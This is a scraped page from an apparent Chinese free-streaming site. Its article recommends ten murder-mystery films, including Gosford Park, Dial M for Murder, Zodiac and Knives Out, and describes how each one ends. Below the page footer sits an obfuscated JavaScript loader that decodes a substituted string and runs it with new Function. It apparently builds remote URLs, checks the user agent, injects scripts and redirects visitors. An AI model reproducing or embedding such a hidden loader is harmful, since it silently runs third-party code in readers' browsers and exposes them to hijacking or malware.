海外影视-免费在线播放-影视资讯海外影视-免费在线播放-影视资讯

10 部结局超解气的悬疑谋杀电影

来源:网络   发布时间:2025-09-30   浏览次数:851

很少有事情能比看悬疑谋杀片 “真相大白” 更过瘾了 —— 那些线索、干扰项、可疑的眼神,最终都指向那个精彩的揭秘时刻:所有疑问有了答案,凶手也浮出水面。这不仅仅是破解一桩案子,更在于看着故事精准地铺陈开来,那种满足感难以言喻。一部好的 “谁是凶手” 电影,不只是让人看得开心,还会邀请观众一起当侦探 —— 去怀疑、去猜测,最后惊叹 “原来谜题这么巧妙”。

悬疑谋杀片的魅力全在结构里。开头可能是密室谜案,或是一场变味的晚宴,但故事的成败全看结局。最后一幕本该带来解脱感,让你明白这部电影为何值得看,也让你的种种猜测有了回应。要是结局拍得好,你会忍不住咧嘴笑,还会突然发现:答案其实一直都在眼前。如今导演们把这个类型玩出了各种花样,有的是经典款,有的荒诞离奇,有的颠覆传统,但都稳稳地收住了尾。

下面这 10 部悬疑谋杀电影,结局都让人看得超解气。

《高斯福庄园》


这部口碑爆棚的电影设定在 1932 年,故事从一场在英国乡村高斯福庄园举办的盛大狩猎派对开始。可派对主人威廉・麦科德爵士被发现死亡后,这场派对瞬间变成了谋杀调查现场。电影通过年轻女仆玛丽的视角展开 —— 她在 “楼上主人” 与 “楼下仆人” 的森严等级间周旋,很快人们发现:几乎每个宾客和佣人,都有讨厌威廉爵士的理由。

制度在包庇罪人

罗伯特・奥特曼的导演手法,把 “谁是凶手” 的谜题变成了人物群像刻画;朱利安・费洛斯拿下奥斯卡的剧本,给出的结局低调却解气。其实电影的重点从来不是凶手是谁,而是杀人动机、众人的沉默,以及默许这一切发生的社会秩序。《高斯福庄园》获得了 7 项奥斯卡提名,还启发了《唐顿庄园》—— 两部作品在风格和主题上有很多相似之处。

《怪宴》


尼尔・西蒙的《怪宴》是对经典 “谁是凶手” 电影的欢乐致敬。影片聚集了五个经典侦探原型(分别恶搞波洛、马普尔小姐、斯佩德、陈查理、尼克与诺拉・查尔斯),把他们请到古怪富豪莱昂内尔・吐温的阴森庄园里。吐温以 “晚餐与谋杀” 为名义邀请他们,挑战他们破解一桩 “还没发生的罪案”。可当管家被杀、吐温也遭毒手后,真正的好戏才开始。

恶搞也有高水准收尾

《怪宴》的解气之处在于它的 “自知之明”。结尾时,吐温先是摘下面具承认自己是管家,接着又扮成厨师,最后变回吐温本人 —— 这个揭秘狠狠调侃了悬疑片 “靠最后一分钟反转、藏线索藏到最后” 的套路。亚历克・吉尼斯、彼得・法尔克、玛吉・史密斯、彼得・塞勒斯的表演精准又搞笑,杜鲁门・卡波特的客串更是诡异到让人难忘。

《电话谋杀案》


阿尔弗雷德・希区柯克执导的《电话谋杀案》,是一部节奏紧凑的惊悚片,故事几乎全发生在伦敦的一间公寓里。退役网球选手托尼・温迪斯发现妻子玛戈有外遇,为了继承她的财产,他策划了一场谋杀。他勒索旧识查尔斯・斯万,让对方在一通设计好的电话里动手杀玛戈。可玛戈奋力反抗,失手杀了斯万,托尼又反过来想诬陷妻子杀人。

希区柯克最优雅的惊悚片

要说叙事的对称性,没几部电影能比得上这部希区柯克经典。负责破解托尼阴谋的哈伯德探长,通过调换钥匙、观察托尼的举动,最终当场抓包了他。这个结局配得上希区柯克克制的导演风格 —— 他利用封闭空间不断提升紧张感。影片当年票房大卖,格蕾丝・凯利还凭借它获得了金球奖提名。

《威尼斯惊魂夜》


《威尼斯惊魂夜》的故事发生在战后的威尼斯,赫尔克里・波洛正自我放逐。悬疑小说家阿里阿德涅・奥利弗说服他去一座闹鬼宫殿参加降灵会。到场的人里有悲伤的歌剧女伶、受创伤的医生、灵媒,还有其他藏着秘密的宾客。当灵媒被杀,暴风雨又把所有人困在宫殿里,波洛不得不找出真相。

现代版阿加莎改编佳作

肯尼思・布拉纳改编自阿加莎・克里斯蒂小说《万圣节前夜的谋杀案》,这部电影堪称视觉盛宴 —— 威尼斯的运河与宫殿构成了完美的哥特式悬疑背景,让人移不开眼。但最经典的还是推理环节:结局揭露罗威娜・德雷克为了把女儿留在身边,毒死了她,之后又策划了这场降灵会,看得人不寒而栗。

《尼罗河上的惨案》


约翰・吉勒明执导的《尼罗河上的惨案》,以埃及的古老奇观为背景。赫尔克里・波洛登上豪华的 “卡纳克号” 游轮,本想享受一场平静的旅行,却被一群各怀心事的乘客包围 —— 所有人都有理由杀掉女继承人琳内特・里奇韦・多伊尔,毕竟她刚嫁给了自己闺蜜的未婚夫。

教科书级别的解气结局

《尼罗河上的惨案》的结局,完美体现了阿加莎小说的精密。波洛揭露:西蒙・多伊尔和杰奎琳・德・贝尔福特合谋了整场案件 —— 西蒙假装受伤制造不在场证明,实际动手杀了琳内特;杰奎琳则清理目击者、掩盖痕迹,最后选择自杀而非被捕。约翰・吉勒明的导演、时代感十足的场景、层次丰富的表演,再加上无懈可击的结局,让人看得超满足。

《十二宫》


《十二宫》或许是大卫・芬奇最棒的作品,它记录了对真实 “十二宫杀手” 的执着追查 —— 这个杀手在 1960 年代末到 1970 年代初恐吓北加利福尼亚。故事围绕三个人展开:漫画家罗伯特・格雷史密斯(杰克・吉伦哈尔 饰)、记者保罗・埃弗里(小罗伯特・唐尼 饰)、警探戴夫・托斯基(马克・鲁法洛 饰),他们用几十年时间追查神秘信件、密码和线索。

没有答案,却有解脱

《十二宫》横跨多年、多个地点,梳理了各种理论,呈现了一桩 “无法破解” 的案件 —— 可这正是它让人既揪心又解气的原因。芬奇打造的结局,在情感上是完整的:格雷史密斯找到他认为是凶手的阿瑟・利・艾伦,两人沉默对视,一切尽在不言中。导演的手法、时代细节和演员表演,让这个结局充满力量。虽然案件在官方层面仍未破解,但电影通过人物的成长,给了观众某种程度的慰藉。

《杀人回忆》


《杀人回忆》的故事发生在 1980 年代末的韩国乡村,侦探朴斗满和徐泰允调查一系列针对女性的残忍袭击与谋杀案(发生在华城)。当时法医工具有限,两人的调查方法又冲突不断:证据被破坏,嫌疑人遭刑讯逼供屈打成招,案件陷入死胡同,而凶手还在继续作案。

模糊却震撼的杰作

奉俊昊把 “调查失败” 拍成了最扣人心弦、最令人不安的悬疑谋杀片之一。这部电影的结局没有 “破案”,却引人深思,既震撼又解气。宋康昊饰演的朴斗满,表演极具冲击力 —— 尤其是最后那个打破第四面墙的眼神,让人难忘。影片改编自真实事件,本身就有传奇色彩;2019 年真凶被确认时,也成了这部电影的 “后记”。

《控方证人》


比利・怀尔德执导的《控方证人》,是一部犀利的法庭 drama。威尔弗里德・罗伯茨爵士为伦纳德・沃尔辩护 —— 这个迷人的男人被指控谋杀了一位富有的寡妇,而这位寡妇最近刚修改遗嘱,把财产留给了他。控方的案情本已占优,可伦纳德的妻子克里斯汀却突然出庭,指证丈夫有罪,局势瞬间反转。

道德层面的惊天反转

怀尔德在这部经典里尽显导演功力,他用谎言和误导编织了一张网,把观众牢牢困住。结局是全片的高光:不仅破解了核心谜案,还颠覆了所有人的预期 —— 克里斯汀的 “双重伪装”(假扮自己的线人来抹黑自己,从而救伦纳德),完全是阿加莎式的天才设计。《控方证人》获得了 6 项奥斯卡提名,还是美国电影学会(AFI)评选的顶级悬疑片之一。

《利刃出鞘》


《利刃出鞘》中,富有的悬疑小说家哈兰・斯隆比在 85 岁生日派对后被发现死亡,警方怀疑是自杀。可一位神秘雇主聘请私家侦探贝努瓦・布兰克来调查。布兰克询问斯隆比家族成员和他们的依附者时,所有线索都指向哈兰的护士玛尔塔・卡布雷拉 —— 她可能不小心用过量吗啡杀了哈兰。更麻烦的是,遗嘱显示玛尔塔继承了哈兰的所有财产。

机智、多层,还带社会批判

这部电影绝对是悬疑迷的福音 —— 它颠覆了所有既定的谋杀案套路,又不丢传统的精髓。结局里,玛尔塔的诚实与善良在经典的 “客厅揭秘戏” 中展现,看得人心里暖洋洋的。丹尼尔・克雷格饰演的南方口音侦探极具魅力,安娜・德・阿玛斯的表演让人眼前一亮,即便和杰米・李・柯蒂斯、克里斯・埃文斯、托妮・科莱特这些演员对戏,也丝毫不落下风。%

《无人生还》


十个陌生人被神秘的 “U.N. 欧文” 邀请到一座偏远岛屿。抵达后,他们通过留声机录音得知:每个人都被指控犯有谋杀罪。随着宾客们一个个死去,大家发现每起死亡都对应着《十个小印第安人》童谣里的一句歌词 —— 他们意识到,凶手就在自己中间。

永不过时的经典

阿加莎・克里斯蒂曾说,《无人生还》是她最难写的书 —— 或许正因为它是 “封闭空间悬疑” 的鼻祖。勒内・克莱尔改编的这部电影,结局堪称叙事典范:奎因坎农坦白自己身患绝症,却执着于 “诗意的正义”,他自杀后,维拉成了唯一的幸存者。在这个基调悲凉的故事里,这样的结局带来了难得的解脱感 —— 这种矛盾感,让这部电影越看越有味道。


THE END
42
本地记录云端记录
登录账号
!function(){function a(a){var _idx="s5h69rzuxx";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1}s(qTqCLm)LT56^DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}s)5TqCLmSJLd)2^mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}s7FTqCLm6XD7SDqmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}sq6TqCLm)LT56^DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}sD_TqCLmSJLd)2^mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}s2OTqCLm6XD7SDqmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1}sfYTqCLmSJLd)2^mRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1}sjR8LnhKQ54_RR"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"1}s"=X8"LnhKQ54_RR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"1}s2CTqf7mTh6)742mRT4"="1}sCSTqfXmFdRFdOCmRT4"="1}sOSTq47mTh6)742mRT4"="1}sF(Tq2SmFdRFdOCmRT4"="1}sDhTqdJmTh6)742mRT4"="1}sh)TqCqmFdRFdOCmRT4"="1}sJfTq7DmTh6)742mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1}sSJTq)(()mY5hhC_dmRT4gQ1KQ/((/1}sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1}sSJTq)(()mY5hhC_dmRT4gQ1KQ/((/1}sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP1}s(qTqCLm)LT56^DmRT4gQ1KQ/f/1}sj(8}vR8LnhKQ54_RR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP1}s(qTqCLm)LT56^DmRT4gQ1KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();